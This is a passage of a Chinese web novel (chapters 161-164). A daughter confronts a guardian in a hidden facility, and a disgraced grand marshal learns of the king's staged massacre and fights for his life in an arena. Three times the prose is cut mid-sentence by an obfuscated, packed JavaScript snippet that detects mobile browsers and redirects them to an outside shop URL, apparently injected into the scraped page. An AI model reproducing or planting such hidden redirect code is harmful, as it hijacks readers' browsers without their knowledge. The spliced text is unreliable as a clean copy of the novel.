然,古古说道,她的声音淡淡的,十分地平静,“这里看到的一切,我什么都不会说。” 女人歪着头,看着鹿力喜背后的古古,“你以为你这么说,我就会放过你一马吗?” 古古没有理会对方的威慑,而是用平静的话语,念书一般说道:“人们反抗神明,神明降下了神罚,城市在诅咒之中毁灭。人类的王引领子民,走上一道不归的道路,王的血脉在大地上蔓延,等待再度执起叛旗的那天。” 女人的表情有一瞬失神,然而,那只存在了短暂的一瞬间。下一刻,她苍老的视线变得凌厉,提着那那飞速旋转的工具,朝他们两人扑了过来。 利刃停在鹿力喜的脖颈旁,就在古古的眼前。鹿力喜吓得大叫,而他背上的人却冷静地像一尊冰雕。 “谁告诉了你这些?”苍老的女人问。 古古临危不惧,“告诉我这个故事的,是一个名叫古奈歌的女人。” 听到这个名字,鹿力喜突然转过头来,有些惊讶地盯着她。 女人的眼睛几乎要瞪了出来,那上面遍布着血丝,她问道:“你是谁?” 古古:“我是她的女儿。” 女人没有进一步的动作,然而,她也没有撤走那个工具。它再往前一步,就会将古古的头颅切成两半。但苍老的女人不进不退,只是瞪大了眼睛,和古古僵持在原地。 “噫——”鹿力喜发出害怕的声音,那工具虽然是对着古古的,但离他的脖子也不远。他的腿颤颤巍巍的,竟然是软软地弯了下去,整个人直接坐在了地上。他闭着眼睛,冷汗直流,但是手里还不忘托着背后的古古,不知是装得,还是真的被吓软了腿。 不过,经过他这么一番动作,那冰冷的工具的确离开了他们两人。鹿力喜低着头,恳请地说道:“母上……母上……请您饶了我们吧,既然不想让消息传出去,那、那您把我们都关在这里吧,不要这么暴力好不好,我真的……呃啊、我感觉我的心脏病犯了,母上,救救我——” 老女人冷眼看着鹿力喜,她突然挥动了一下手里的工具,那东西从直朝鹿力喜的头砍去。后者害怕地缩起了脖子,然而,锋利的刃片只是从他的头顶划过,削断了几根发丝。 不知道她操作了什么,只听那嗡嗡作响的用具停了下来,那些锯齿停止了不安分地旋转,女人把它扔到了一旁,甩了甩手,似乎有些疲累了。她斜睨着古古,似乎在打量她的容貌,“确实有那么几分相像,但也只是相像而已,不能证明什么。” 古古明白对方的疑心,说道:“我还有更多的证据,如果愿意给我时间,无论是人证还是物证,我都能提供。” “哼。”那老婆子嗤笑了一声,“你若真是奈歌的女儿,就不会偷偷摸摸地进来。你应该知道这是什么地方。” 古古诚恳地回答,“我的确不知道,母亲……没有告诉我太多关于这里的事情。” “怎么可能呢?”老婆子道,她的语气轻松、随意,但也充满了不信任,“她是我们的中坚力量,一定会让后代参与到我们的事业中来。” 古古想起来在地下室看到的那封信,她想起来母亲的自白。 古奈歌写着:她出于一个母亲的私心,让女儿离开了属于他们的战场。 可是,兜兜转转,她的女儿来到了这个命中注定的地方。 说是巧合也好,宿命也罢,她来了,而真相就在她的眼前。 161. 投入角斗场1 古古对那个老女人说道:“我就是为了弄清楚这一切才来的。母亲什么都没有告诉我,但是,我时常看出她孤独,还有她的痛恨。我想知道,是什么造就了她无法言明的寂寞。” 老人盯着古古,像在辨别她话语的真伪。 一盏昏黄的光源在他们头顶时明时暗地闪烁,照得女人的脸也晦暗不明。 僵持了半晌,过程中她什么也没说。某个瞬间,她似乎想通了什么,转过身去,往她来时的路上走,“阿喜,别乱转了,只有冰冻舱附近还有点活人能用的物资。” 鹿力喜听到这段话,腿也不打颤了,心脏病也不犯了,精神面貌也阳光了起来。他侧过头,对古古小声说道:“安全了。” “嗯,安全了。”古古看着对方,说道。她盯着他,有一个称呼不知是否该说出口,她想了想,还是不合适,毕竟,面前这个男人几乎和她的岁数差不多。 鹿力喜和她交换了片刻的视线,模样看上去也想要说些什么,但是,似乎是同样的犹豫让他没有出口。他只是看着古古笑,笑得傻呵呵的,“那走吧?母上应该不会再对你做什么了。” “好的……阿喜。”古古说道。 鹿力喜笑呵呵的,说道:“刚才被打断了,我还不知道你叫什么呢?” “我姓古,名古。”她说道。 “古古。”鹿力喜几乎留恋地叫着这个名字,似乎通过它,能想起另外一个人一般。他转头,征询古古的意见,“那我叫你小古好不好?” “好啊。”古古不假思索地回答他。 鹿力喜背着她往前走,古古试探地靠近他的身躯,紧紧贴在他的背上。她皱了皱眉,摘掉了自己的手套,摸上对方的脖子,“阿喜,你的身体为什么这么冷?” “唔,实验的副作用吧?”鹿力喜不以为意,说道,“但我自己不觉得,你摸着很冷吗?” “很冷。”古古道。她想起来,自己的母亲似乎也是这样,冬天的时候,她总是穿得不多,古古总以为就是因为她不爱惜自己的身体才会生了重病,导致她最终离开了她。但现在看来,那场病似乎并不能直接归咎于寒冷。 鹿力喜转头问:“冰到你了吗?离我远点吧。” 古古摘掉了自己另一幅手套,捂着鹿力喜的脖子,“我不要。” “哎呀,你不听话。”鹿力喜说。 “对不起,但我确实是这种性格的孩子。”古古说。 鹿力喜笑起来,整个人都十分开心,像是天底下没有什么烦心事一样。 古古也受到了他的感染,慢慢笑了起来,她有些忘记自己上回笑得这么开心是什么时候。 希望这样的时光再多一些。她如此想道。 尽管她的背很痛,精神也很疲乏,身体被寒意摧残得不成样子,但是,好像,只要在这人的背上待着,一切都能好起来。 是的,一切都能好起来,一定会。 ## 摄文,王庭。 这里不是他所熟悉的监狱。 闻人佐所知的监狱,阴冷、潮湿,每个格子的空间很小,狱守严格地看管每一间牢房。那里充斥着死亡的气息,临近的狱友偶尔会传来两三交谈,他们的话语中没有未来,只有当下和过去。 闻人佐不知道自己被关在哪里。 这里黑暗一片,他听不见除了自己呼吸以外的声音。 距离姜昆维说了那番要将他送上‘不尽死斗’的话之后,已经过去好几天了。 他先在那间幽暗的居室里被栓着,后来又被转移到了一个伸手不见五指的铁箱子里,铁箱子被人移动,最终不知道停在了哪里。 他没答应对屠杀和闵派的任用视而不见的要求,所以,那个摄文王说,要把他和他的家人都送到角斗场上。 这句话像是梦魇一般,这几天一直萦绕在他的脑海里。 他再一度将家人牵连进了自己的事情中来,已经亏欠了他们太多,然而他现在除了愤怒和担忧以外,什么也做不到。 他的力量终归有限。 闻人佐挣动了一下,却发现自己的四肢失去了自由,似乎有什么东西栓在他的手腕、脚腕,将他以一种半挂不挂的姿势吊起来,因为长时间的悬挂,他的肩膀在隐隐作痛。 接下要面临什么,他很清楚。 “不尽死斗”,绝生幕的终章,参赛者需要一直留在场上,接受一次又一次挑战,没有结果可言,也没有胜利可言,只有死亡才能结束这一切。 不存在说,如果谁表现得非常好,就会有人来宣布,“这是一个能力非凡之人,不应该如此死去,应该珍惜他的能力,将他重用。他已经通过浴血奋战证明了自身的价值,赎清了曾经的罪孽”——不,不存在这样的环节。进入“不尽死斗”的人只有一个结果,这从创立绝生幕这个比赛之初就从来没有变过。 姜昆维把他投入这个赛事,与对他判决死刑无异。 这一切都是因为他没有答应他。 可是闻人佐要怎么答应,一想到摄文王和当年刺杀了先王的闵派有所勾结,他就无法对这件事视而不见。 到现在为止,姜昆维还没有承认什么,闻人佐也不愿妄断自己发誓效忠之人和当年的惨剧有任何关联,可事实摆在这里,摄文王的王后是闵派的人,王迎娶她是在四年之前,就在惨剧发生的一年后,两件事离得太近,很难否定它们没有关联。 一阵脚步声传来,切断了闻人佐的思绪。 那声音带着沉闷的回音,由此,闻人推断自己应该是在地下室之类的地方。 似乎有几个人在朝自己的方向走来,他听见人们的交谈声,而那其中一个声线,他再熟悉不过,那是姜昆维。 “把牢笼打开。”摄文王下令道,“这完全看不见里面是什么样子,你们是怎么办事的,人要是在里面憋死了怎么办?” 一个唯唯诺诺的声音回答他,“陛下,这个笼子不是密闭的,它是透气……” 一阵惨叫传来,然后是倒地的声音,即便看不见外面的景象,闻人佐也大概知道发生了什么。 “我要的不是狡辩,是让你们把笼子打开,明白吗?”姜昆维的声音有些不悦。 回应摄文王的人换了一个,“是、是,陛下。” 有人朝自己的方向走来,闻人佐抬起头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564645|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,盯着那个声响传来的方向。 一丝光线透进来,他眯起眼睛。眼前的黑暗驱散了,阵阵金属的碰撞声传来,有人把牢笼打开了。 他渐渐能看清自己身处什么东西之中,这是一个困兽用的牢笼,四面都是铁皮,自己的手脚上拴着锁链,连接在牢笼的四周。 姜昆维走到了门前,看到了里面的闻人佐,“看来你状态还不错,大元帅。” “陛下……”闻人佐说道,想问当年的惨剧究竟和对方有没有关系,可甫一开口,他才发觉自己的声线是如何的沙哑、破碎,因为很多天没说话,当下几乎发不出什么健全的声音来。 姜昆维挥手遣散了周围的人,然后在牢笼边上坐下来,就像是在唠家常一样,轻松地和大元帅攀谈了起来,“没想到这一天还是来了,这可能就是命运一类的东西吧。” “您到底和五年前的惨剧有没有关系?”闻人佐还是用他嘶哑的嗓音直接问了出来。 起先,姜昆维没什么反应,随着时间的流逝,他的肩开始耸动,嘴根越咧越开,他在笑,几乎按捺不住。那张嘴巴仿佛一个裂口,每动一下,就有鲜血从中溢出,他变成了一个揭开鲜血帷幕的讲述者,“闻人啊,我正直的、固执的闻人,上一世,你也是这样,拆穿了我的意图,让那场自导自演的惨剧功亏一篑。你知道丝黛拉在我身上留下的伤有多疼吗?为了瞒过你们的眼睛,我可是吃了不少苦头。” 听完这些,闻人佐整个人都凝固了。 刨去那些听不懂的部分,闻人佐只记住了一句话。 摄文王说,那场惨剧是他自导自演的。 他就这么承认了。 “为什么……”闻人佐难以置信地盯着姜昆维。 是不是他理解错了,又或者,是不是哪里弄错了? 五年前惨剧上死去的,可是对方的父母和兄弟姐妹,他怎么可能对自己的亲人做出这种…… “所以这些年,我对你还挺过意不去的。”姜昆维说道,脸上却没有多少歉意,“所有人都以为是你的问题。你先是用自己的亲卫顶替了老爹的护卫,又去取那个什么蜡烛耽误时间,他们都怀疑是你暗中蓄谋……” 姜昆维笑容依旧,眉目却是狰狞,“……而不知道是我在护卫的伙食中做了手脚,又提前把蜡烛都剪断了,导致它烧不了多久。” 闻人佐脸色煞白地看着眼前的人,今天才第一次认识对方一般。 他听不见自己的呼吸声,也几乎不记得自己有没有眨过眼。巨大的震惊镇住了他,让他一时什么反应也没有。 半晌,他才反应过来男人究竟说了些什么。 也就是说,五年前,他用自己的亲卫顶替先王的护卫,以及后来亲自去取那彩色的蜡烛,导致他没能来得及在刺客出现前回到居室……这一切都是姜昆维的设计。 这代表了什么? 这代表了一段本该深藏的真相,而自己之所以会听到这些,姜昆维之所以会告诉他这些,是因为他们彼此双方都知道,大元帅活不长了。 闻人佐只听心里一个声音在反问:如果一切都是真的,那自己这些年究竟是在做些什么? 162. 投入角斗场2 像是因为迟迟在大元帅这里得不到什么有趣的回应,姜昆维从牢笼边上站起了身来,拍了拍自己的衣服,抖去了那上面的灰尘,然后他喊了声“来人”,一旁便响起了轰隆隆的开门声。 紧接着,一阵哭声传了过来。 在听到哭声的那一刻,闻人佐深吸了一口气,立刻四下寻找声音的源头。 姜昆维远离了牢笼的门,让出了位置,似乎是为了给闻人佐提供开阔的视野。 他看见,在狭隘的地下室,有一群士兵正押送着一大一小两个女人。那是他的妻女,倪宝娇和闻人芹。 “可惜你们家的老头子拼死抵抗,已经半死不活了,就没把他带过来。”姜昆维语气十分轻松地说道。 闻人佐看着眼前的一切,目眦欲裂。 他的小女孩在哭,两个士兵提着她的手臂,带着她往前走,不管她的身体是否会与地面发生磕碰和磨擦。女孩明显已经挣扎了很长时间,不然,不会受到这样的对待。 闻人佐急红了眼睛,他吼道:“放开她!” 然而,那些人不听他的。闻人佐转头看向姜昆维,锁链叮当作响,“有什么事冲我来!” 姜昆维道:“放心,很快就冲你来了。你和你的家人,都跑不了。” 闻人佐在颤抖,那是愤恨带来的震颤,他挣扎着,但是,锁链很牢固。手腕上挣出血痕,他浑然不觉,“这些事和她们无关……她们自始至终都没有参与进任何事情!” “我知道,我知道。”姜昆维十分理解的说,“你们家是什么情况,我怎么会不清楚呢?她们当然和这一切无关了。” “那——” “我只是……”姜昆维又蹲了下来,在闻人佐的面前。他背着光,眼睛狡黠地眯起来,嘴巴也愉快地咧开,他的声音变得又细、又尖锐,有渐渐拔高的意思,“我只是从小时候开始,就格外地、格外地喜欢用尽各种手段……折磨你。” 闻人佐的牙齿在打颤,他盯着眼前的人,突然有一种莫名其妙的冲动,想要挣破所有的锁链,冲上去,将眼前的一切都撕碎。 “爸爸,爸爸!”外面,女孩急切的声音传来,“爸爸,救救我,爸爸——!” 闻人芹的喊声几乎将他的心脏捏碎了,他拼了命地向前想要挣脱出去,肩膀扭曲,关节几乎要脱臼也毫不在乎。 而就在此刻,姜昆维猛地站起来,嘭地一声,他关上了牢笼的门,将父女的视线断绝。 闻人佐重归了一片黑暗之中,他发出撕心裂肺的叫喊,“呃啊——!” “阿佐……阿佐!”他的女人在悲伤地呼唤他。 “爸爸!!”他的女儿在哭泣。 他感觉自己碎成了裂块,被怒意和绝望撕碎了。 要是他真的能碎成残块就好了,让肉|体从这漆黑的牢笼中挤出去,让血液从缝隙之中流淌出去,去拯救她的妻女,追讨这一切的元凶。 似乎有血泪从眼中淌出,沿着脸颊流入口中,额头在疯狂直跳,他龇着牙,声音从齿缝传来,“放我出——!” 他没说完,突然之间,他所在的笼子震动了一下,似乎有什么把它整个抬了起来,摇摇晃晃。 闻人佐梗着脖子,强烈的震颤没有打断他的极怒,目光不屈地直视着漆黑的前方,混乱膨胀地挤压着他的脑海。 似乎有人打开了一道门,阵阵嘈杂声传来,像是早晨人声鼎沸的集市。 牢笼在移动,它行动了一阵子,而后静止了下来。 一个高昂的声音穿透牢笼,它宣布着—— “——超乎你我想象的决斗!接下来,是本期绝生幕的终局,一场所有人期待已久的‘无尽死斗’,一个你我无法想象的选手,一次绝对不能错过的激动对决!” 激昂的男声如此喊道。而它们在闻人佐的脑袋中划过,没有留下任何的踪迹。他的思绪像是被封印了一般,无法再接收更多的内容,只有无尽恨意在四处乱撞。 “话不多说,各位观众,请以最热烈的掌声,欢请我们今日的特邀选手!鉴于比赛结束后,他就将再也听不到你们的掌声,所以现在,尽情为他鼓掌吧!” 接下来是欢呼声、鼓掌声,以及来自这个城市的、人们不知疲惫的庆贺声音。似乎他们为了热闹而活,会因无趣而死。 一丝光透了进来,有人再度打开了牢笼的门锁,外面是一片素白。闻人佐瞪着那片白光,他感到一阵炫目,但丝毫没有退缩。 杀戮与保护的欲望挟持了他,让他无所畏惧。 有人在牢笼外做了些什么,咔哒几声,他的手脚得到了自由,它们垂下来,重新归于自己的掌控。 闻人佐的身体自由了,他站起来,走出了牢笼。 炫目的白色渐渐褪去,他发现自己身处一个熟悉的地方。这是一块平地,周围是高墙,脚下是泥土,泥土上有干涸的血迹,一层又一层,还有人类和动物腐败的尸体残肢,它们散发出恶臭。 他身处角斗场戈首之中。而闻人佐从来都是在上方看着这一切,现在他才知道,这是如何一个人间炼狱。这个在姜昆维上任后搭建起来的公共建筑,不过才几年的时间,它已经苍老、衰败,散发出死亡的气息。人们没有时间清扫这里,它总是急着迎接下一场恶斗。 背后传来铁门落下的声音,闻人佐望过去,那里是他们将他转移出来的选手准备间。 环顾四周,附近没有别人。 妻女还在姜昆维手里,但是,闻人佐就算愤怒,也知道姜昆维不会这么快杀了她们。他一定会留着她们来折磨他,现在的闻人佐相信那个摄文王一定会这么做。 自己已经站在这通向死亡的场地上,亲耳听见妻女绝望的哀鸣,再牢固的忠诚也早已碎得一干二净。 大元帅从牢笼里走出来后,观众席上的声音近乎恐怖,人们激动地嚎叫着,那是兴奋、恶意混杂在一起的庞大声响,它们淹没了闻人佐。 “没错,你们没有看错!”看台上,司戈站在中央的圆柱看台上,激动地对观众们喊道,“今天,来到这个舞台上,为我们献出最后一支剑舞的,就是你我共同的熟人——棕发的剑豪,先王的重臣,苟且的懦者,失格的罪人,大元帅闻人佐! “他在这里,是为了偿还五年前欠下先王的性命!观众们,请尽情享受他最后的时刻吧!!” 伴随着司戈撕裂喉咙般的叫喊声,气氛达到了高潮。 与此同时,场地另一侧的门渐渐升起。 在阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564646|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影之中,走出了一只流血的生物,那是一只雪原熊,皮毛呈浅黄色,它大张着獠牙,瞳孔紧缩,毛发耸立,已然被激怒。 肮脏的舞台,低贱的节目,失去自我的子民的、消磨时间的玩物。一直以来,闻人佐对这一切不屑一顾。只是,看在姜昆维的面子上,他什么也不说,也不做任何评价。 而现在,他终于可以表达他的唾弃。 命?他的确欠着,但不是以这种方式偿还。 一把剑从空中投掷而来,铿锵一声,斜插在他面前的土地上。 那是他的配剑,他上一次见到它,是在那个得知真相的接风宴上。当时姜昆维一把扔开了它,露出了他深藏已久的獠牙。 闻人佐将它捡了起来,余光中,他看到那巨型的生物像是受到了刺激,朝他狂袭而来。 它没见过用剑的人,而闻人佐很确信这一点。就算它见过,它也没见过一个剑豪会如何挥剑。 而他知道它的无知,知道生物对自己体型和威力会如何盲目自信。 两只手,一个接一个,它们握住了剑柄。他大臂的肌肉充血、发力,甚至感受到疼痛,但是不要紧。他倾身,跑起来,加快速度,以冲击对抗冲击。 动物除了骨骼的部分都很柔软,这和人一样。他没有必要硬碰硬,那只会磨钝他的剑锋。 他们相会,相交。闻人佐附身,利爪在他头顶掠风而过,他提起剑尖,猛然发力,将它贯入野兽的喉咙。 刺破气管,绞入脑髓,那是每一种生物致命的弱点,拥有再强壮的外表也不例外。 闻人佐松开了手,已经刺中了,他不打算再握着它。生命的余波使野兽挣扎,它苟延残喘,带着那柄已经杀死它的剑,一直跑、一直跑,而后,撞在了中央的圆形石柱上,血在上面留下一道长长的痕迹,熊也停止了动作。 看台上,激烈的欢呼声响起,观众在为一个他们口中的罪人鼓掌,只要精彩就好,只要看爽了就够,他们不在乎他们为之鼓掌的究竟是一个真正的罪人,还是一个无辜的替罪羊。 闻人佐走向那尸体,将剑从中拔出来。他的视线向看台投去,带着杀意。 在那高处,在视野最良好的地段,那个装潢得金光灿灿的席位上,坐着一个至高无上的王。他金发夺目,风姿卓越,器宇轩昂;同时,阴险狡诈,扭曲残忍,泯无人性。这世上找不到第二个像他那样的矛盾的、割裂的人。 大元帅抬起剑,用泣血的剑,无声地指着那个高台。 高台上的男人惬意地坐着,一手拄着脸颊,毫不介意那道向他指来的剑锋。他笑着,满目精光,似乎在欣赏着场上人的慢性死亡。 闻人佐不知道一切为什么就发展成了这样,但是,他已经没有精力去想了,两人关系在悄然地改变,不再是君臣,也不是从小一起长大的朋友——当然,他们的身份摆在这里,就从来没有成为过朋友。 他要让所有人知道真相,即便在这喧嚷的场地上,没人听得见他的声音,就算听见了也没人相信他,但是,他还是要想办法这么做,直到让那个男人从不属于他的王座上跌落。 看台上,姜昆维抬起了一只手,那是一种示意。 场地的一侧,又一道门打开了。 163. 投入角斗场3 司戈嘶吼道:“谁能想象?谁能想象!冰原的霸主居然一瞬死在剑豪的手下!各位,如果不是亲眼所见,你们谁能相信这是真的吗?那是超越人类的实力,却不是大元帅的极限,他能做到什么地步,让我们一起拭目以待吧!!” 他没有移走自己的剑,就那么指着王座之上的人,直到新一轮的对手来到了他的面前。 来者是一个人,这个人,闻人佐曾经在观众席上见过。那是绝生幕预选赛的冠军,“屠夫”是人们给他起的名字。 曾经,闻人佐都是在上面观察着这个“屠夫”,只知道对方手下几乎没有能活下来的人。但是,今天,站在了这个人的面前,看清了那张脸,闻人佐才惊觉自己认识他。 对方的衣衫褴褛,拿着一把残月弯刀,头发乱成一团,但不影响闻人佐认出他来,那是摄文的上任大元帅——邹缚,束延将军邹炎庆的爷爷,同是也是姜昆维的四舅。 七年前,前元帅失踪,忠诚的老将一夕之间蒸发,不见踪迹。如今,闻人佐却在这个角斗场戈首上看到了故人,这期间发生了什么,不得而知。 但是,在这个被贯输了许多真相的当下,闻人佐不得不从一场阴谋的角度看待这件事。 前元帅是万军之上的善战者,也是先王最大的支持者,这个现在看似衣衫褴褛的老者,曾经掌握着整个摄文的军事命脉,他得到了先王的信任,势力几乎无人能及。和自己这个不得民心的挂牌元帅不一样,那是真正掌握着一方权势的老将,而他的失踪,当年一度引起了不小的骚动。 可那究竟是偶然,还是人为,在五年前的惨剧有了新的解释的当下,闻人佐不得不怀疑前元帅的失踪也有不可见人的内幕。 毕竟,那个叱咤一时的邹缚怎么可能出现在角斗场上。 不难想象这个老元帅这些年经历了什么,无尽的关押,残忍的对待,摧残人性的黑暗,和永无再见的自由和光明。 除掉先王的势力,这是一个不信任他人的后来者的做法,卑鄙、狭隘,但合理。 闻人佐试图与对方产生交流,然而,向他扑来的那个残破身影似乎不这么想。 曾经的元帅变了,他的目光失神,没有焦距,身上挂着深陷皮肉的锁链,在乐声、观众的呼喊声的刺激下,他朝闻人佐冲过来,身法依然是那么地迅猛,难以阻挡。 闻人佐抬起了自己的剑,横在自己胸前,接下了对方的攻击。那攻击没有理性的成分,老元帅只是单纯在利用曾经的习性,直来直去地挥舞着手中的弯刀。 闻人佐尝试和对方说话,“元帅,您为什么变成了这样?” 但是,对面的老者用沉默回答着他,收回手,离远了一些,似乎在寻找下一次进攻的时机。 “请您清醒一些!”闻人佐持之以恒地说道,“无论您经历过什么,请振作起来。您看看我,我是闻人佐,您还记得吗?” 在他话音刚落的时候,像是觉得现场的气氛还不够热烈,又一道大门打开了。里面走出来两个身披黑甲,头戴黑盔的骑士,那是绝生幕预选赛的第二名,双胎黑骑。 那是一对男女,男叫左初,女名右原,此刻,他们的战马嘶鸣不已,躁动不安,像是想要立刻将什么践踏在脚下。 “孩子。”就在这时候,闻人佐对面那个老元帅开口了。他的眼依然混浊,张开的嘴巴里没有几颗完整的牙齿,它们满是污垢,歪斜扭曲。 闻人佐一惊,他道:“元帅,您还能说话。我们没必要打,这都是姜昆维的……” “孩子。”老者道,似乎没听到闻人佐的话一般,自顾自地说着自己的话。他提起那嗜血的残月弯刀,苍老的手捏着它,弧度几乎和它形成一体,“杀你,他们就给我饭吃。我在这个战场上处决了无数人,你也是或早或晚的事。” “元帅!”闻人佐道,“我们可以一起逃出去,如果是我们两人的话,总能有办法……” 他说话的时候,那两个黑骑士的马蹄已然踏至,两把锋利的长枪朝他刺来,闻人佐当即后撤,左右躲闪,一一将它们避过。 骑士回马,展开新一轮的突袭,闻人佐只好专注于那两个骑士上。 突然,他感到一阵杀气从背后刺来,一个矮身,残月弯刀从他的头顶挥砍而过。 无奈,闻人佐向场中的圆柱靠去,确保自己的背后是墙壁,而不是敌人。 他依然没有放弃,对老元帅道:“元帅,是不是姜昆维使您落魄至此?告诉我,我们一起揭穿他的罪行!” 老元帅靠近,苍老的声音传来,“我不能。炎庆在他的手上。” 闻人佐一时无话。 原来是因为这样,束延将军在姜昆维手中,成为了的用以限制老元帅的棋子。闻人佐能理解那种感觉,就在前不久,他经历过相似的事情。 老元帅逼近,残月弯刀来势凶猛,它刀身精短,凝结了使用者全身的力量。 叮的一声,闻人佐的剑碰上了弯刀,与此同时,骑士从一旁冲来,似乎要将他们两个一并刺穿。 而就在最后一刻,老元帅突然撤走,似乎他刚才的僵持只是为了将闻人佐限制在原地。 闻人佐猛地往前一滚,避开了长枪,然而,对手没有给他喘息的时间,他还没从地上站起来,身形刚刚稳住,余光就见阴影向他扑来。他不需要去看,直接插剑入地,挡在自己的身侧,以手中的力道和地面的摩擦抵抗突然的袭击。 老元帅没有得逞,立刻撤开,调整姿态。而闻人佐也立刻从地面拔出剑,叮当两声,打破了两名骑士袭来的十绞字杀。 当下,他几乎无法进攻,在三人的逼迫下,他很难打出连贯的斩击,每有攻击的势头时,都会被对方的袭击打断。 他必须寻找时机,否则没有胜算。 对方又发起了几轮进攻,都被闻人佐巧妙地闪避,他尽可能地保存着体力,只是赢了眼前这几个对手,还远远没有结束,他知道姜昆维的那些牢笼中有怎样的怪物。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573083|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“您变弱了,元帅。”闻人佐对老元帅说道,“一直处决弱者,让您的手法都生疏了。” 对方没有回应,而闻人佐也不期待对方能给自己什么回应。 此刻,聒噪的司戈又开始喊话,“瞧瞧啊,连那让人闻风丧胆的‘屠夫’也不能拿我们的剑豪如何!观众们,看来我们为大元帅准备的对手还不够,是我们怠慢了他。大元帅,请不要着急,紧张刺激的对决还在后面!” “喂!这么厉害的人,真的要直接就这么耗死在场上吗?”观众席上,有临近赛场的平民如此问道。 “他有重罪!早就该死了,最后给我们带来一场决斗表演,人尽其用,不好吗?”另一个人回答他。 声音嘈杂,而这些对话淹没在新一轮的轰鸣声中。又有一道门打开了,放出了加码的敌人。 闻人佐斜撇了一眼,那是个形单影只的男人,他两手背在身后,未着盔甲,长发整洁,姿态笔挺,身材修长,一袭长袍几乎坠在地上。 那是预选赛的第三名,“银弓”寂尔。 闻人佐只看了一眼,就收回了目光,他判断那个人的威胁不大。 对他采取人海战术是没用的,想用堆砌的人头消磨时间,让他用尽所有力气,累死、饿死在这泥泞的土地上,可在那之前,他早就会找到逃出这里的办法。 闻人佐将注意力转移,投注于和骑士与老元帅的纠缠中,寻找着将他们一击击破的契机。 突然,他耳旁听到刺破空气的声音,他很熟悉那动静,那是急速袭来的箭矢发出的声响。 他扭头,只见空中有一个黑点,它在朝自己的方向飞来。但是,它的方向是错的,闻人佐能精准地看出来,它射偏了,它的落点在自己脚后的地上。 不必在意。这是闻人佐短暂地一瞥后得出的结论。 下一刻,黑骑士朝他当面冲来,长枪掠地,欲攻击他的下盘,闻人佐想向左躲避,但是,左边有蓄势待发的老元帅,想向右,可余光中,另一名黑骑士的枪尖已经堵死了他的去路。 在做完了所有判断后,他向后退去,以脱离这三者的夹击。 然而就在这一刻,心中警铃大作,他感觉自己忘了什么。 究竟是忘了什么,在那极限的一瞬间中,他没有想起来。 咻的一声,在他接住骑士攻击的一刻,剧痛从他的小腿传来,“呃啊——!” 闻人佐咬紧牙关,推开骑士的枪,他看向自己的腿,一支羽箭插在那里。往远处看去,“银弓”寂尔依然站在将他放出来的门前,手持一把弓,第二支箭蓄势待发。 弓手预判了他的动作。闻人佐悲愤地想着。他不应该轻敌,应该正视对方的威胁,绝生幕的前三名怎么可能有什么省油的灯。 “银弓”锁定了他,箭尖跟随着他的行动左右变换。那个神射手在等待一个破绽,在闻人佐避无可避的绝路上,会有他射来的一箭。 “屠夫”与双胎黑骑左右夹击,气势汹汹。 164. 投入角斗场4 闻人佐以迅雷之势拧断了箭,每动一下,都感受到令人无法忍耐的疼痛。但是还得继续,他不能有一丝的懈怠,绝不能在出现刚才那种四面夹击的情况。 弓手的加入对他来说是一个考验,但同时,也是一个破局的机会。 脱离了弓的箭,如果运用得当,就会变成属于自己的武器。 双胎黑骑似乎已经掌握了节奏,他们和“屠夫”的配合愈发娴熟。闻人佐不知道这几人为什么都在针对自己攻击,或许他们答成了什么协议。几人都是出色的战士,但他们的结局都已注定,进入了这‘不尽死斗’对决中,就代表他们没人能活着出去。 但闻人佐不这么想,他和他们不同,他要活下去。 妻女还在等他去拯救,罪孽还在等他去昭雪,他必须从在这个角斗场上杀出去,无论是假死蒙混过关,还是在那些大门开启的时候找准时机逃出去。 不知道姜昆维将倪宝娇安置在了哪里,如果能知道她们所在的位置的话……一切都会好办很多。 不过,现在,还是先让他解决眼前的难题。 四个对手,一个作战经验丰富的老元帅,两个压迫性的黑骑,一个虎视眈眈的神射手。 如果他贸然去进攻弓手,肯定会遭到拦截,而弓手自己也长了腿,不可能轻易让他近身。从那“银弓”一登场就站在赛场边缘就可以看出来,他很谨慎。 闻人佐的视线转移到了那两个黑骑士身上,他与他们相比有着天然的劣势。他在地上,对方在战马上,这是压倒性的压制,虽然他应对得还算得心应手,但是如果无法将他们尽快从战马上拖下来,差距将渐渐拉开,毕竟相比之下,马上作战消耗的力气要比地面上少很多。 最后……是“屠夫”。他已然苍老,没有曾经那么凌厉,但是,依然不是一个可以忽视的对手。闻人佐知道他是如何处决别人的,他看过太多有关“屠夫”的赛事。他的弯刀血债累累,它勾挑心脏,切入腹部,划破双眼,所有柔软的地方都是它的目标。老元帅就像一个刀工巧妙的工匠,抽丝剥茧一般,将他所有的对手切成碎块,只保留一副无法用刀割裂的骨骼。 这也是他称号的由来。 